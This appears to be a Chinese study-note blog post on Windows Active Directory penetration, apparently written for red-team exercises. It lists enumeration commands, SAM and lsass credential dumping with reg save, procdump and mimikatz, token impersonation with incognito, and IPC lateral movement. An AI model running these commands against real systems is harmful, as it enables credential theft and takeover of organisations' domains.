这篇文章是根据ske
师傅的视频写的笔记,视频地址:https://www.bilibili.com/video/av76554533?from=search&seid=11390449822159779985
写这篇文章只是记录看这个视频的笔记,等哪天有实战环境了会自己出一张更详细的
1、什么是域
域英文叫DOMAIN
,将网络中多台计算机逻辑组织到一起,进行集中管理,这种区别于环境组的逻辑环境叫做域
简单来说,假设我的公司有很多个计算机,然后我想设置一些配置,比如修改密码、设置权限等,只需要对域进行操作,就可以直接更改域下面的计算机,就和团队老大一样的意思,在群里艾特全体成员,说你们明天不用上班一样。方便快速,不用一个一个去说。
2、域控(全称域控制器)
在一个机器上装上活动目录(存储了有关网络对象信息,并且让管理员和用户能够轻松的查找和使用这些信息。网络对象可以是用户、群组、电脑、网域控制器、邮件、配置文件、组织单元、树系等)后,这个机器就是一个域控服务器
在一个内网中,可能有很多个域控,他们是没有区分的。
假设你有三个域控制器a、b、c
,那么你在a
对用户权限进行修改,那么他会复制到b、c
里,如果其中一台域控制器发生故障,其他域控还能正常工作的话,整个域还是可以正常运行的。
3、域用户
就是域控制器的用户,域用户的账号密码可以登陆同一域下的任何机器,但是只是普通权限,而非管理员权限。
4、域管
可以登陆域控制器上,对一切权限进行控制,域管只需要登陆到域上面进行操作,任何就会应用到域机器,而不用去每台电脑前操作。
5、组
将不同用户放入不同的分组里,然后对每个组进行一个权限设置,这样子简单方便的对每一台机器进行权限分配,而不用每个去设置。
6、信任域
比如公司下面有子公司,他们都有域,并且处于同一个内网,那么只要子公司的域建立了对母公司的域的信任,那么母公司的域的域用户,就可以登陆到子公司的域,而子公司的域用户不能登陆到母公司的域用户,实战中可能遇到的域不知一个,那么我们可以在当前域查看信任域,然后利用横向渗透登陆到其他域控制器。
7、域信息收集
使用nltest
查询信用域
nltest
在03
以后系统自带的
信任域:可以在工作组里查询,查询内网是否有域环境
1 | 如下命令就可以查找域控IP所有信任域信息 |
2 | nltest /domain_trusts /all_trusts /v /server:域控IP |
用ipconfig /all
就可以查找域控IP
,如图
然后执行nltest
后如图
可能实战中,信任域环境不仅仅一个
知道信任域名字(HACK
)后,可以使用如下命令查找详细的信任域信息
1 | nltest /dsgetdc:HACK /server:域控IP |
可以用这种办法查找是否存在域环境
域信息收集Csvde
Csvde
是Window Server 2008
的内置命令行工具,位于%windir%/system32
文件夹中。
使用如下命令查找HACK
这个域的详细信息
1 | csvde -setspn hack -f 导出的地址 |
导出的数据信息
查找域内各种服务资源的对应关系setspn
spn
官方名称是服务主体名称,存着的信息是域内的各种服务器的机器名、服务端口号等
如下命令查找HACK
域的spn
信息
1 | setspn -T hack -Q */* |
用处就是,比如护网期间,获取了域控权限,然后我们可以看域内下面的开发的服务,比如mysql
,然后使用域用户登录到那台机器,然后连接mysql
就可以看到数据,然后提交到获取护网分数。
dnsdump
查找域下名称和IP
1 | dnsdump.exe 域名\域用户 -p 域密码 域控机器名 |
net
假设我们拿下了一个服务器,他是域用户,那么我们可以使用net
命令收集一些信息
1 | net user /domain 获取域用户列表 |
2 | net group "domain admins" /domain 获取域管理员列表 |
3 | net group "domain controllers" /domain 查看域控制器 |
4 | net group "domain computers" /domain 查看域机器 |
5 | net group /domain 查询域里面的组 |
1 | net view 查看同一域内机器列表 |
2 | net view \\ip 查看某IP共享 |
3 | net view \\GHQ 查看GHQ计算机的共享资源列表 |
4 | net view \\domain 查看内网存在多少个域 |
5 | net view \\domain:XYZ 查看XYZ域中的机器列表 |
扫描内网段的主机信息和域控机
1 | nbtscan.exe 192.168.52.0/24 |
图里的DC
就是表示这个是域控机器
如果不存在域的话结果如下
域渗透思路
步骤
- 横向渗透(拿下内网
shell
) - 权限维持(以防给管理员发现,然后下线
shell
) - 取密码(获取一个域用户和账号密码,跑弱口令等等)
- 域信息收集(就是第七步所写的,注意那是在跑出域账户和密码情况下并且登陆后才能收集,如果非域权限是禁止执行那些命令的)
- 横向渗透(进行域的横向渗透)
- 取密码(直到取到域管理员账户密码)
- 获取域管权限(使用域管理员账户和密码登陆)
- 拿下域控服务器(结局)
注册表读取密码
1 | reg save hklm\system 导出的地址.hiv |
2 | reg save hklm\sam 导出的地址.hiv |
然后就会生成sys.hiv
和sam.hiv
文件
然后使用mimikatz.exe
工具读取密码的hash
值
1 | mimikatz.exe "lsadump::sam /sam:sam.hiv /system:sys.hiv" |
问题1:
然后跑出的hash
放md5
网站解密出来就是密码了
lsass
读取内存hash
比如在内网中,有一个域用户和域管登陆了你拿下的shell
的机器,那么在本机中会将他们的账号和密码保存到lsass.exe
进程里面,那么我们只要把lsass.exe
进程抓取出来然后跑hash
就可以了
2008
前,他都是明文存储的
抓取lsass.exe
进程为lsass.dmp
1 | procdump.exe -accepteula -ma lsass.exe lsass.dmp |
然后使用mimikatz.exe
将起读取
1 | mimikatz.exe "sekurlsa::minidump lsass.dmo" "log" "sekurlsa::logonpasswords" |
在目标
shell
中获取信息,然后放到本地用工具跑出这些数据,可以防止被拦截。
读取当前机器各种连接工具密码、浏览器保存的密码等
凭证窃取
下载地址:
1 | incognito.exe list_tokens -u |
2 | incognito.exe execute -c "HACK/Administrator" cmd.exe |
3 | 窃取HACK/Administrator这个域管的凭证,放到cmd.exe进程,这样子我们的cmd就是域管的权限了 |
命令行渗透
为什么涉及命令行渗透?
1、因为远程登录目标桌面容易被管理员发现,如你将他挤下或者管理员突然间登录进来
2、目标管理员可能对服务器禁用远程登录
那么我们可以建立ipc
连接,建立了ipc
连接的话我们可以对目标进行文件的下载和上传,以及执行命令
建立ipc
连接
1 | net use \\你拿下的服务器ip /u:用户名 密码 |
在ipc
连接下看目录是这样的
将nbrscan.exe
放到windows\temp
目录下
将hash.txt
下载下来
这里直接粘贴了=v=
比如你上传的东西很大,那么我们可以使用这种办法